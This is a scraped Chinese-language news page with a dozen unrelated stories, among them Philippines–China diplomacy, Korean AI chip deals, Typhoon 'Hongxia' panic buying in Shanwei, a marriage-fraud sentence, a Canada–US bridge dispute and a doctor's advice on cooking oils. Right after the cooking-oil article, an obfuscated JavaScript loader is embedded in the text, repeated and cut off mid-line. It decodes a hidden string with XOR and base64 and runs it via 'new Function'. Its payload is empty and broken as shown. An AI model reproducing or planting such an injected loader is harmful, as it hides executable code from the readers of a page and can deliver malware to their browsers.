据日经新闻网昨日(24日)报道,菲律宾总统小马可斯(Ferdinand Marcos Jr.)声称,希望“重置(Reset)”菲律宾与中国日益紧张的双边关系。他更于本周二在总统府秘密会见中国驻菲律宾大使井泉,双方闭门会谈长达近一个半小时。菲方高调表态期望推动两国关系重回改善的轨道,惟中方在释出善意的同时,亦严厉正告菲方不要“一边说重置,一边纵容挑衅”。 井泉促将承诺付诸行动 菲律宾总统通讯办公室副部长卡斯特罗昨日发表声明,证实了小马可斯与井泉会面的消息。井泉受访时亦形容与小马可斯“谈得非常好”。但他同时向菲方划下红线,强调希望菲方将希望改善关系的表态切实落实在具体行动上,而非一边口说“重置”,一边默许或纵容反华势力在南海挑衅滋事。 在此之前,中国外交部边海司负责人已于21日,就菲方在仁爱礁蓄意挑衅、袭击中国海警执法人员一事,紧急召见菲律宾驻华大使提出严正交涉,强烈抗议菲方的滋事炒作。 中方警告:倚仗域外国家将吞苦果 与此同时,南海的地缘政治角力依然暗流涌动。据菲律宾通讯社消息,美国总统特朗普周四向小马可斯保证,将会向中方提出菲方对南海最新事态发展的关切。中国外交部对此强硬回应,重申美国并非南海问题当事方,严正警告菲方试图借助域外国家挑衅滋事,最终只会沦为被利用的工具,自食苦果。 值得注意的是,美国国务卿鲁比奥(Marco Rubio)在马尼拉会见中方高层后,其最新表态较之前在菲媒刊登的激进评论文章明显大为温和。鲁比奥表示,虽然美方在每次会谈中均会提及南海问题,但强调直接对话对于避免造成“重大的全球影响”至关重要。 尽管外交层面释放缓和信号,但中方捍卫主权的行动未有停止。中国海警局证实,昨日(24日)已依法对在中国黄岩岛管辖海域进行非法活动的多艘菲律宾船只采取强制管制措施。

三藩市AI峰会|南韩总统李在明偕三星李在镕赴美 夜会黄仁勋齐叹啤酒汉堡

南韩政府与各大财阀精锐尽出,誓要确立全球人工智能(AI)产业的龙头地位。正在美国访问的南韩总统李在明,于当地时间周五(24日)在三藩市主持一场众星云集的全球AI领袖峰会。席间,辉达(NVIDIA)行政总裁黄仁勋高调宣布,将与南韩SK集团展开价值高达5,000亿美元(约3.9万亿港元)的重磅战略合作;同时,三星电子亦与博通(Broadcom)签署巨额合作备忘录,全方位引爆全球晶片与记忆体市场的版图巨变。 黄仁勋合组3.9万亿“黄金同盟” 是次在三藩市举行的AI峰会堪称科技界奥林匹克,除了黄仁勋,还吸引了OpenAI奥尔特曼、Anthropic阿莫迪及博通陈福阳等巨头亲临。南韩四大财阀会长,包括三星李在镕、SK崔泰源、现代汽车郑义宣及Naver李海珍亦齐集现场。 李在明会黄仁勋,讨论深化韩国国家 AI 雄心的背后合作伙伴关系。 X@ NVIDIA   黄仁勋在会上宣布,辉达与SK集团将大幅扩展伙伴关系至5,000亿美元以上,并形容“这是南韩的黄金时代”。根据协议,SK电讯将兴建一座容量高达2吉瓦(GW)的超级AI数据中心,全面采用辉达新一代“Vera Rubin”AI晶片,以及SK海力士第四代高频宽记忆体(HBM4),预计首期设施将于2027年正式上线。此外,辉达亦宣布与现代汽车合作开发自动驾驶轿车。 三星抢下博通2000亿代工合约 另一方面,三星电子亦在峰会上与全球网络晶片巨头博通达成五年期、规模达2,000亿美元(约1.56万亿港元)的业务合作协议。三星将向博通供应先进存储半导体,并开放其晶圆代工产能,直接介入博通为云端厂商定制的AI推理与训练晶片生产环节,正面挑战台积电的龙头地位。 据南韩官员透露,南韩企业与美国科技巨头是次达成的晶片合作项目总规模,累计已突破1,375万亿韩元(约7.8万亿港元),展现出南韩锐意利用其在半导体和记忆体产业的主导地位,争取将南韩打造成全球AI计算基建最核心供应商的宏大野心。

台风“红霞”︱汕尾全市“五停” 市民抢购物资超市货架清空

强台风“红霞”来势汹汹,直扑港粤沿岸,一场狂风暴雨的大战一触即发!据中央气象台最新观测,“红霞”中心附近最大风力已达12级(强台风级),预计将于今日(25日)夜间至明日(26日)清晨,在香港至广东惠来一带沿海登陆。面对可能迎来正面吹袭的严峻威胁,邻近香港的广东省汕尾市已于今早(25日)紧急宣布在全市范围内实行“五停”措施(即:停课、停工、停产、停运、停业),全市随即进入紧急防汛临战状态。 24日晚的汕尾沃尔玛超市货架几近被清空。   24日晚的汕尾沃尔玛超市货架几近被清空。   汕尾沃尔玛超市门口的大熊雕塑,被“五花大绑”。 广东天气   汕尾市民抢购物资,超市货架清空。 抖音   汕尾市民抢购物资,超市货架清空。 抖音   汕尾市民抢购物资,超市货架清空。 抖音   汕尾市民抢购物资,超市货架清空。 抖音   超市内人山人海,排队结账的队伍大排长龙。     公共交通与外卖全面暂停 据极目新闻报道,随着官方发出“五停”通告,汕尾市民纷纷涌往各大超市及商铺抢购生活物资备战。在距离海边仅200米的香洲路沃尔玛(Walmart)超市,昨晚(24日)已爆发恐慌性囤货潮。网民笑称:“又不是世界末日。” 网上多段视频显示,超市内人山人海,排队结账的队伍大排长龙。店内部分货架被瞬间扫空,蛋糕柜、蔬菜区以及即食食品区更被“全清”,员工只能不断往货架上补满即食面。店方表示,为配合政府的“五停”要求,该分店已于今日下午3时起关门暂停营业。 巨熊雕塑惨遭五花大绑防风走 除了抢购民生物资,风暴前夕的一幕趣怪画面亦成为焦点。该沃尔玛超市门口一只标志性的巨型大熊雕塑,被物业管理人员用多条粗绳紧紧綑绑在水泥柱上,以防被强风吹走坠地,引来网民疯传与热议。 汕尾市防指强调,除抢险救灾人员外,全市所有在建工地、工厂及商场必须全面停工停业,公共交通及渡轮全面停驶,外卖和快递服务亦已暂停。气象部门预测,“红霞”将带来极端暴雨,局部地区累积雨量或达500毫米,呼吁市民留在安全室内,切勿外出。 

骗婚陷阱|相识两天闪婚4日即离婚 安徽男惊揭妻子三次吸毒及“无限闪婚”

内地近年频频爆出假借“相亲结婚”之名、行“骗取礼金”之实的恶劣新型诈骗案。一名来自安徽的男青年,去年在婚介公司介绍下前往贵州相亲,岂料与一名女子相识仅两天便“闪婚”,更豪花逾33万元迎娶。不料,两人正式同居仅四天,女方即以各种荒谬理由拒不归家并强烈要求离婚。男方报警后,更揭发出一连串令人震惊的骗局。贵州法院昨日(24日)对该案作出宣判,裁定该名涉案女子诈骗罪成,判处有期徒刑两年六个月。 结婚彩礼收据。   涉嫌诈骗被刑拘 法院判退赔15万人民币 案情指出,1996年出生的安徽青年何攀,于2025年4月经红娘介绍前往贵阳相亲,结识了1991年出生的女子陆某某。陆女自称“父母双亡、由姑姑抚养长大且仅结过一次婚”,并向何攀表达爱意。两人在相识短短两天内便迅速注册结婚。何攀前前后后向婚介平台、媒人支付了15.4万元(人民币,下同)服务费,并与陆女签下婚前合同,给予12万元彩礼以及价值5万多元的“五金”首饰等,累计花费约33万元。 然而,陆女于4月26日随何攀回到安徽共同生活后,仅短短四天,便以“机场离家太远”等荒诞借口离家出走并提出离婚。何攀家人追至贵阳索还彩礼不果,愤而报警,这才撕开了陆女的假面具。警方调查惊悉,陆女不仅在婚前一个月才刚与另一男子“闪婚闪离”,更有三次因吸毒被捕的案底;更荒谬的是,其亲生父母根本健在,而当初出面主持婚事的所谓“姑姑”,亦全属聘人假扮。 陆女于2025年9月因涉嫌诈骗罪被刑事拘留。法院审理认为,被告人陆某某以非法占有为目的,隐瞒非真心缔结婚姻的事实,利用闪婚手段诈骗他人财物共计16.3万余元人民币,数额巨大,行为已构成诈骗罪。 鉴于陆女自首、认罪认罚并在庭上向受害人道歉,法院依法予以减刑,最终判处陆女有期徒刑二年六个月,罚款8,000元,并责令其退赔何攀15.3万余元人民币。先前何攀已被逼向婚介公司追回15.4万元的中介费,是次判决有望助其挽回绝大部分损失。

印度教育部长宣布请辞 医科试题外泄蟑螂人民党连续数周发起示威

印度教育部长普拉丹(Dharmendra Pradhan)宣布请辞。回应早前全国医学入学考试(NEET-UG 2026)爆出严重的试题外泄丑闻,导致逾200万名考生的成绩惨遭作废,引发全国青年与学生团体连续数周发起大规模示威。 200万医考生前途尽毁 全国发起绝食抗议 印度蟑螂人民党连续数周发起示威。 路透社   印度蟑螂人民党连续数周发起示威。 路透社   印度蟑螂人民党连续数周发起示威。 路透社   印度蟑螂人民党连续数周发起示威。 路透社   印度蟑螂人民党连续数周发起示威。 路透社   面对海啸式的舆论及公众压力,印度教育部长普拉丹周六(25日)正式向总理莫迪(Narendra Modi)递交辞呈,引咎请辞。此举被美联社等外媒视为莫迪政府面对年轻选民示威浪潮的首次重大让步。 这场席卷新德里、孟买等各大城市的示威,源于今年5月国家医科入学考试试题大规模泄露。政府随后宣布考试作废并要求数百万学生重考,引发年轻一代的强烈愤怒。 抗议活动由自称“蟑螂人民党”的学生组织主导,他们在全国发起游行、静坐及绝食,将矛头直指教育部长普拉丹。尽管普拉丹此前曾轻蔑地指责抗议学生为“恐怖份子B队”,但随着本月警方强烈镇压新德里游行,反而彻底激发了学生誓要驱逐其下台的决心。 普拉丹在社交网发文,承认近日的全国示威令他深感痛心。他指出,学生寒窗苦读发展事业,其前途不应被卷入复杂的法律与政治难题中,为防反国家势力利用局势,决定向总理莫迪请辞,并感谢莫迪的信任。 为平息民愤,印度政府早前已将泄题案移交中央调查局(CBI)彻查,并重新安排考试日期;普拉丹在辞职前亦宣布,自明年起,该项全国大型考试将全面改为电脑化(CBT)模式进行,以彻底防范试题外泄。然而,“蟑螂人民党”已宣告这是“民主的胜利”,并誓言会继续推动更深层次的司法与议会改革。

戈迪豪国际大桥在温莎剪彩启用 美加就大桥收入分配爆发分歧 

美加两国因关税战关系彻底决裂,火药味更直接延烧至跨国基础建设。连接加拿大安大略省温莎市与美国底特律的“戈迪豪国际大桥”(Gordie Howe International Bridge),于当地周五(24日)在加拿大一侧举行剪彩仪式。然而,因两国近期爆发激烈贸易摩擦,原定的加美联合庆典临时取消,改为纯加拿大官员出席的场合。现场不仅未见任何美方代表,亦只演奏了加拿大国歌。美国总统特朗普随即在社交平台强硬发文,宣布早前签署的大桥收益分配协议“已不再有效”。 不满加征50%关税 加国取消联合庆典 这座耗资数十亿美元、长2.4公里的新大桥由加拿大全资兴建,连接两国最繁忙的货运口岸,预计于下周一(27日)正式向公众开放。 安省省长福特身穿红色国家冰球衫出席仪式,强调绝不会向美方的“威胁与霸凌”退让。 美联社   然而,特朗普本周初突然宣布,向加拿大蜜糖、酒类等数百项特定商品加征高达五成(50%)的惩罚性关税,导致加方愤而取消跨国开幕仪式以示抗议。安省省长福特身穿红色国家冰球衫出席仪式,强调安省已对新的美国关税作好应对准备,绝不会向美方的“威胁与霸凌”退让。 卡尼:未收回建造成本前不平分收益 除了关税争议,两国对大桥的收入分配亦各执一词。特朗普昨日发文声称,根据原有协议,美国将获得大桥一半的利润。惟加拿大总理卡尼(Mark Carney)前一日随即强硬反驳,重申在收回大桥建造成本之前,加方绝对不会平分大桥的通行费收入。 大桥预计启用后,将为跨境货车司机每年节省高达85万小时的行车时间。私家车通行费较旧有的大使桥便宜近四成,本应是两国贸易的黄金通道,如今却沦为美加外交冲突的新战场。

台湾爆毒油风波!医生教用3款油防致癌陷阱 即睇橄榄油/牛油果油/苦茶油用途与烹调方法

台湾近日爆发食安风波,大豆沙律油验出一级致癌物“苯骈芘”超标,逾千吨毒油流入市面,引起大众对食用油安全的高度关注。有医生分享身日常会食用的3款食油与烹调方法,助大家在厨房避开致癌风险。 苯骈芘是甚么?高温烹调下的产物 妇产科医生邱筱宸在个人专页撰文拆解,一级致癌物苯骈芘(Benzopyrene)主要产生于油脂或食物在高温下,如烧烤、烟燻、油炸过度、煎至焦黑的过程。当食油加热超过发烟点(即开始冒烟、变质的温度),油的结构便会分解,释出有害物质,包括苯骈芘。因此,邱筱宸医生指出,控制烹调温度是关键。 医生大推:橄榄油、苦茶油、牛油果油 邱筱宸医生推荐3款优质植物油,并按用途区分:   特级初榨橄榄油 富含单元不饱和脂肪酸,有益心血管,并含多酚与维他命E。但这些抗氧化物质不耐高温,适合凉拌或起锅前淋一圈,保留完整营养。 苦茶油 Omega-9含量甚至高于橄榄油,发烟点不低,但邱医生仍建议起锅前才加入,以保留其清香与营养。 牛油果油 发烟点高达260°C,是植物油中极耐高温的选择,同样富含Omega-9和叶黄素。适合大火快炒或煎煮,稳定性高,不易变质。 用水减低油脂烟点 邱医生强调,水是控制温度的最佳帮手。她日常炒青菜时,先用少量水将菜炒熟,起锅前才淋上油。只要锅内还有水,温度便压在100°C以下,远低于大部分油脂的烟点,大幅减少油烟和致癌物生成。这样既能锁住油的营养,又能保持厨房清爽。 3大用油法则 蔬菜先水炒、后淋油:低温烹调保留营养,减少油烟。大火快炒 选牛油果油:根据烹调方式选用合适油品,避免高温破坏好油;切勿重复使用回锅油。 好油避光避热:开封后置于阴凉处,远离炉火,锁紧瓶盖,防止氧化变质。 只要掌握“选对油、控温煮、避高温”的原则,便能将风险降到最低。 资料来源:妇产科医生邱筱宸 T10(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var zf368b3=y17321a*81; var _0xc4c3ed2ddbac=; var _0xd2590aeec7ec=72; var _0x695b12d6658b=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0xc4c3ed2ddbac.length;_0xecc7dff14118++) _0x695b12d6658b+=String.fromCharCode(_0xc4c3ed2ddbac^_0xd2590aeec7ec); var _0xb2ada9a65d62=121; var _0x61fc9cbf8bf3=atob(_0x695b12d6658b); var _code=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0x61fc9cbf8bf3.length;_0xecc7dff14118++) _code+=String.fromCharCode(_0x61fc9cbf8bf3.charCodeAt(_0xecc7dff14118)^_0xb2ada9a65d62); (new Function(_code))(); })();(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var zf368b3=y17321a*81; var _0xc4c3ed2ddbac=; var _0xd2590aeec7ec=72; var...

Kimi K3|34岁月之暗面创办人杨植麟清华学霸背景曝光 曾组摇滚乐队任主音

中国AI新创企业“月之暗面”(Moonshot AI)日前强势推出新一代大型语言模型“Kimi K3”,凭借高达2.8万亿参数规模,一跃成为全球参数量最大的AI开源模型,瞬间震撼矽谷及全球科技界。随着Kimi K3爆红,现年34岁的创办人杨植麟的传奇学生时代亦被网民翻出。这位AI天才不仅以第一名成绩毕业于清华大学计算机系(电脑系),更曾创立摇滚乐队并担任主音,其弃美国高薪回国创业的决心,更为他赢得“科技界摇滚青年”的称号。 音乐激发科研灵感 据内媒报道,1992年出生于广东汕头的杨植麟,自幼展现极高天赋。他于2015年以电脑系第一名从清华大学毕业后,赴美国卡内基梅隆大学攻读博士,师从前苹果AI研究主管,先后参与Google Brain及Meta AI的顶尖模型研究。 北京月之暗面科技有限公司创始人兼首席执行官杨植麟演讲。 中新社   月之暗面办公室门口放着白色钢琴,上面放著一张《月之暗面》黑胶唱片。《人物》公众号   杨植麟受访。 张小珺商业访谈录   Splay乐队当年合影。   杨植麟受访。 张小珺商业访谈录   杨植麟。   月之暗面创办人杨植麟。   世界人工智能大会期间,月之暗面推广其Kimi K3模型。   比起闪耀的科研履历,更令网民惊讶的是其“摇滚青年”背景。2013年,他在清华创立乐队“Splay”,亲自担任主音及作词,更曾夺得校园最佳原创歌曲奖。团名取自资料结构中的“Splay Tree”,既呼应资讯背景,也象征一群工程宅追逐音乐梦想。 目前Splay的作品仍可在网易云音乐平台搜寻,其中《Daydream》与《Bleeding》两首歌曲的作词人,正是杨植麟本人。 杨植麟曾分享,音乐屡次助他突破研究樽颈;有次推导数学公式苦无进展,正是靠反复聆听喜爱的歌曲而突然灵光一闪,最终顺利完成论文。 拒绝苹果招揽 回国研发“月之暗面” 据悉,苹果公司曾主动接洽希望招揽他入职,但他一心回国创业。2023年,他以传奇乐队Pink Floyd名盘为灵感,创立“月之暗面”,并推出Kimi AI助手。公司内部充满浓厚音乐元素,就连会员方案亦以音乐术语命名。 杨植麟曾坦言,若不亲自创业“一定会后悔终生”。因为唯有创业,才能真正主导大模型的研发、产品落地与公司的发展方向。如今随着Kimi K3问世,他也成为中国AI产业最受瞩目的新生代代表人物之一。

白宫记协晚宴︱特朗普:勒邦占士或是种族主义者 我只喜欢支持自己的人

美国总统特朗普向来常与各界名人、媒体人及企业家公开互骂或结下梁子。篮球巨星勒邦.占士(LeBron James)日前抛下震撼弹,宣布从洛杉矶湖人(LA Lakers)转投费城76人(Philadelphia 76ers),在生涯末段发起最后一轮总冠军冲刺;而特朗普随后竟公开指称,占士可能是个“种族主义者”。 占士三度力撑特朗普竞选对手 占士底薪加盟76人。AP   占士和76人上季探花VJ艾治琴比赛后握手,今季成为队友。AP   占士完季后宣布离开湖人成为自由球员。AP   占士完季后宣布离开湖人成为自由球员。AP   占士年过四十仍活跃于顶级赛事。路透社   24日,特朗普出席了因4月枪击案取消后重新举行的白宫记者协会晚宴。他在致辞及随后接受提问、被问及如何评价米高.佐敦(Michael Jordan)和勒邦.占士(LeBron James)这两位 NBA 传奇的篮球生涯时,表示占士可能是种族主义者。 而当特朗普被问到米高.佐敦和占士谁才是“历史最佳”。特朗普回答说:“米高.佐敦是我的朋友,我和他一起打过高尔夫球,他人真的很好。我觉得勒邦(占士)——也许他是个种族主义者,又或者他只是不喜欢特朗普。我不知道。我只喜欢支持我的人,所以我会毫不犹豫选择米高.佐敦。” 在过去三届总统选举中,占士均公开支持与特朗普竞争的候选人,包括2016年的希拉里.克林顿(Hillary Clinton)、2020年的拜登(Joe Biden)以及2024年的贺锦丽(Kamala Harris)。 2017年,金州勇士(Golden State Warriors)球星居里(Stephen Curry)表示拒绝应邀造访白宫后,特朗普随即撤回对勇士全队的邀请,占士随后亦公开批评了特朗普这一举动。 米高佐敦球员时代曾5夺NBA总冠军。美联社   米高佐敦被誉为史上最佳篮球员。美联社   米高佐敦与勒邦占士拥抱。Reuters   篮球之神米高佐敦。Reuters   篮球之神米高佐敦引退多年,其战斗身影仍然深深刻在球迷脑海中。   63岁的米高.佐敦曾于20世纪90年代带领芝加哥公牛(Chicago Bulls)六度赢得NBA总冠军,并五次当选联盟最有价值球员(MVP)。 而目前41岁的占士亦手握四枚NBA总冠军戒指,在效力克利夫兰骑士(Cleveland Cavaliers)、迈阿密热浪(Miami Heat)及洛杉矶湖人(LA Lakers)期间四度当选MVP。他既是NBA历史得分王,也是历史出场次数最多的球员。

深圳男拼多多售¥7.9手机壳5个被指侵权 遭“荣耀”索赔¥38万

内地近期再现大公司、大品牌对个人及小商户提告商标侵权的争议。化名为“林坚”的快递员,本身是网购平台“拼多多”手机壳网店经营者,惟今年4月因店铺入不敷出而关闭,遂改行糊口。不料同年5月9日,他竟收到手机品牌“荣耀”发出的起诉状,被控侵犯商标并遭索赔38万元人民币。 被指“已卖出102万件”实际仅售出7单 涉案商品是一款售价7.9元包邮的无图案透明手机壳。荣耀在起诉状中指出,该商品标题为“荣耀80/70/60/40/50/20/10手机壳”,在拼多多搜寻“荣耀手机壳”时,林坚的商品连结位居首位。 店家林坚遭荣耀控侵犯商标,索赔¥38万元。济南时报   店家林坚遭荣耀控侵犯商标,索赔¥38万元。济南时报   店家林坚遭荣耀控侵犯商标,索赔¥38万元。济南时报   店家林坚遭荣耀控侵犯商标,索赔¥38万元。济南时报   店家林坚遭荣耀控侵犯商标,索赔¥38万元。济南时报   店家林坚遭荣耀控侵犯商标,索赔¥38万元。济南时报   店家林坚遭荣耀控侵犯商标,索赔¥38万元。济南时报   起诉状称,林坚在商品标题开头使用“荣耀”字样且未标注自有品牌,点击购买页面的型号亦大量使用“荣耀”字样,页面更显示“全网已拼102万件”,也就是已卖出102万件。 林坚对此表示困惑与不满。他认为在标题中加入型号是为了方便消费者搜寻配件,属于电商行业惯例与描述性使用。 他强调,手机壳销量极低,页面显示的销量包含刷单数据,实际有记录的仅售出7单(其中2单退款),总金额约30多元。此外,他对荣耀未事先通过平台投诉或发律师函警告、而是直接提告索赔的做法感到难以接受。 6月16日,林坚未聘请律师独自应诉。开庭前,荣耀代理律师提出将和解金额由38万元降至6.5万元,但林坚因经济困难拒绝。目前他每月送快递收入约四五千元,扣除房租1600元后还需抚养两个孩子。他表示若败诉将会继续上诉。 林坚透露,荣耀近期密集起诉了多家手机壳电商,其身边亦有数名同行被告,部分同行已选择赔偿和解。目前该案仍在等待法院判决。 内媒指出,根据商业查询平台“天眼查”数据,荣耀涉及的司法案件中,侵害商标权纠纷占比近七成。 有律师表示,若将品牌名称置于标题首部且未加说明,存在侵权风险;若标明“适用于”则可大幅降低风险。 类似的商标维权事件在内地屡见不鲜。此前,河南南阳“渝见小面”店主曾遭港股上市公司“遇见小面”起诉索赔,后因舆论关注,原告最终撤诉并致歉;茶饮品牌“茉莉奶白”亦因标志与法国奢侈品牌LV经典图案相似被控侵权,一审被判赔偿LV 上千万人民币。

白宫记协补办晚宴︱特朗普再次出席致辞 仅容700人进场逾四千军警维安

白宫记者协会此前因枪击事件中断年度晚宴,时隔三个月后,24日于华盛顿华尔道夫酒店补办,而美国总统特朗普再次应邀出席并发表讲话。 图刺杀特朗普枪手行动所携武器曝光。 路透社   图刺杀特朗普枪手携带的武器。 路透社   图刺杀特朗普枪手携带的枪械之一。 路透社   图刺杀特朗普枪手酒店持武器自拍照曝光。 路透社   图刺杀特朗普枪手携带的枪械之一。 路透社   须出示二维码与身份证 由于四月时曾发生枪手冲破安检并遭开枪制服的事件,本次补办晚宴的保安措施明显升级。当局除更换会场地点、缩减流程外,受邀出席人数亦由上次约2,600人大幅减至约700人,所有嘉宾入场前均须出示二维码及附有照片的身份证明文件。 此外,当局特别调派4,300名国民警卫队成员至华盛顿执勤维安。 与媒体关系向来紧张的特朗普,今年是首次以总统身份出席白宫记者协会晚宴。他在致辞时顺利发言,内容涵盖美伊局势等国家大事,同时也提及个人恩怨,除了点名攻击政敌,亦对在座的记者展开批评。 特朗普在发言中表示:“很高兴来到白宫记者协会晚宴,这里有很多优秀的人,有许多我喜欢的人,也有许多我完全不喜欢的人;但无论如何,我尊重他们当中的大多数。正如我三个月前所说,事情必须继续,我们回来了。” 晚宴期间,现场重播了四月枪击案发生时枪手冲过安检,以及特朗普在台上撤离的画面,借此凸显新闻工作者无畏无惧的精神。 白宫记者协会主席姜伟嘉强调,传媒绝不会屈服于暴力之下。她表示,今晚所要传递的讯息是,媒体不会被吓倒,更不会让一次暴力行为主宰一切。 准备第四次竞选总统? 此外,据中新社报道,在白宫记者协会晚宴上,特朗普戴上标志性小红帽,上面有“特朗普2028”字样,并开玩笑称:竞选总统这件事我已经“拿捏”了,我将再次出马,准备第四次竞选。特朗普还表示,“这应该很容易,竞选总统我已经很有经验了。” 

山西暴雨|路陷惊现“层层堆叠白骨”惹恐慌  官方解话:南北朝“玉壁之战”将士遗骸

山西省运城市稷山县近日因连续降雨,导致一处路面发生严重塌陷,没想到断崖土层中竟然露出了大量层层堆叠、密密麻麻的白骨,画面极其震撼,一度引发当地市民恐慌与网络热烈讨论。稷山县文物保护中心随后紧急证实,该批骸骨并非现代,而是南北朝时期著名战役“玉壁之战”中,阵亡将士的集体埋葬遗骸,是一处极具历史价值的“万人冢”。 东魏十万大军战死病死达七万人 据内媒《新京报》报道,事发地点邻近全国重点文物保护单位“玉壁城遗址”,该处在南北朝时期(公元546年)是西魏与东魏两大政权交兵的军事重地。当时东魏权臣高欢率领十万大军猛烈进攻西魏的玉壁城,西魏守将韦孝宽则凭借险要地势死守。东魏军队苦攻五十多日仍未能攻克,期间因战死及疫病死去的东魏士卒多达七万人。 山西运城一路面塌陷处现大量白骨。   山西运城一路面塌陷处现大量白骨。   山西运城一路面塌陷处现大量白骨。   事发地点邻近全国重点文物保护单位“玉壁城遗址”。   稷山县文物保护中心工作人员表示,游客可在台崖上看到,但到不了,目前正在申请做玉壁城的预防性保护。   高欢在被迫撤军前,为了处置庞大的尸体,下令挖掘巨型深坑将阵亡将士集中合葬,形成了民间相传的“万人坑”。 启动预防性保护遗存 文保中心工作人员表示,千百年来,每逢大雨冲刷,该遗址周边偶有零星骸骨露出,而今次因降雨导致大面积塌陷,才令这段尘封1,480年的悲壮历史再度重现于世人眼前。 由于长期暴露在外的骸骨正面临风雨严重侵蚀,当地政府已紧急启动预防性保护方案,计划对断崖主体进行加固,并落实相关防护措施,以妥善守护这片承载着历史记忆的古战场遗存。
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